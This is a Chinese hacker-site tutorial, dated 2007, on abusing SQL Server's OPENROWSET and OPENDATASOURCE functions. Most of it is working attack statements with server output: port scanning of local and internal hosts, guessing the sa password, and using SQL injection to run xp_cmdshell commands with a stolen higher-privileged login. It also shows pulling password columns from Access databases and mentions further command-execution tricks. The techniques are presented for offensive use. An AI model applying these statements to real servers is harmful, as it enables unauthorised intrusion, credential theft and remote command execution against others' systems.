黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑软介绍 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]openrowset/opendatasource的功能介绍
      ★★★★

openrowset/opendatasource的功能介绍

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-23 10:10:39
前言:
openrowset/opendatasource的应用大家应该很熟悉了,cadt[1]就是利用的openrowset,其实我们利用openrowset/opendatasource还可以做很多事情。


一、函数原形参考:

OPENROWSET:http://msdn2.microsoft.com/zh-cn/library/ms190312(SQL.90).aspx

OPENROWSET
( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password'
| 'provider_string' }
, { [ catalog. ] [ schema. ] object
| 'query'
}
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ <bulk_options> ]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

<bulk_options> ::=
[ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ]
[ , ERRORFILE = 'file_name' ]
[ , FIRSTROW = first_row ]
[ , LASTROW = last_row ]
[ , MAXERRORS = maximum_errors ]
[ , ROWS_PER_BATCH = rows_per_batch ]

OPENDATASOURCE:http://msdn2.microsoft.com/zh-cn/library/ms179856(SQL.90).aspx

OPENDATASOURCE ( provider_name, init_string )

二、具体利用
[下文都以OPENROWSET为例]

A.sqloledb接口利用:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=aaa;pwd=aaa','select @@version')

provider_name:sqloledb
datasource:server=127.0.0.1,1433
user_id:uid=aaa
password :pwd=aaa
query: select @@version

1.利用参数datasource进行端口(内网)扫描:

a.本地端口扫描:
*.打开端口[是]:
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=superhei;pwd=','select @@version')
服务器: 消息 18456,级别 14,状态 1,行 1
用户 'superhei' 登录失败。
*.打开端口[否]:
select * from openrowset('sqloledb','server=127.0.0.1,2433;uid=superhei;pwd=','select @@version')
服务器: 消息 17,级别 16,状态 1,行 1
SQL Server does not exist or access denied.

b.内网端口扫描:
*.打开端口[是]:
select * from openrowset('sqloledb','server=169.254.155.7,1433;uid=superhei;pwd=','select @@version')
服务器: 消息 18456,级别 14,状态 1,行 1
用户 'superhei' 登录失败。
*.打开端口[否]:
select * from openrowset('sqloledb','server=169.254.155.8,1433;uid=superhei;pwd=','select @@version')
服务器: 消息 17,级别 16,状态 1,行 1
SQL Server does not exist or access denied.

2.利用user_id/password进行用户密码猜解:
*密码正确
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select @@version')

Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation

Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

*密码错误
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123','select @@version')
服务器: 消息 18456,级别 14,状态 1,行 1
用户 'sa' 登录失败。

3.跨用户执行SQL

如果web当前连接的用户权限太低如public,提高上面的方法破解出sa的其他dbo的密码,那么我们可以通过注射跨用户[权限]执行SQL语句了,

我们先测试下:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','exec master.dbo.xp_cmdshell [dir]')

服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'exec master.dbo.xp_cmdshell [dir]'。OLE DB 提供程序 'sqloledb' 指出该对象中没有任何列。

晕~~, 没有成功:没有列。我们可以利用多语句来突破:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select user;exec master.dbo.xp_cmdshell

[dir>c:\test.txt]')

返回select user的结果,我们在到c盘看看test.txt存在,exec master.dbo.xp_cmdshell [dir>c:\test.txt]成功执行了。

B.Microsoft OLE DB Provider for Jet等其他接口的利用。

select f_name, f_password FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'D:\lse\Connections\q.mdb';'admin';'',admin)
[ps:mdb没有设置密码是 用户名为admin ,密码为空]

返回数据库D:\lse\Connections\q.mdb、表admin、列f_name, f_password的内容,这样我们可以提高sql注射得到mdb里的一些敏感数据,不过上面的语句必须要求sa权限。我们还可以结合一些接口漏洞,如msjet40.dll溢出,来执行命令。

还有regwrite结合利用沙盒 再利用select shell()执行。等等。

4.BULK的利用[略...有兴趣的同学可以搞搞
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886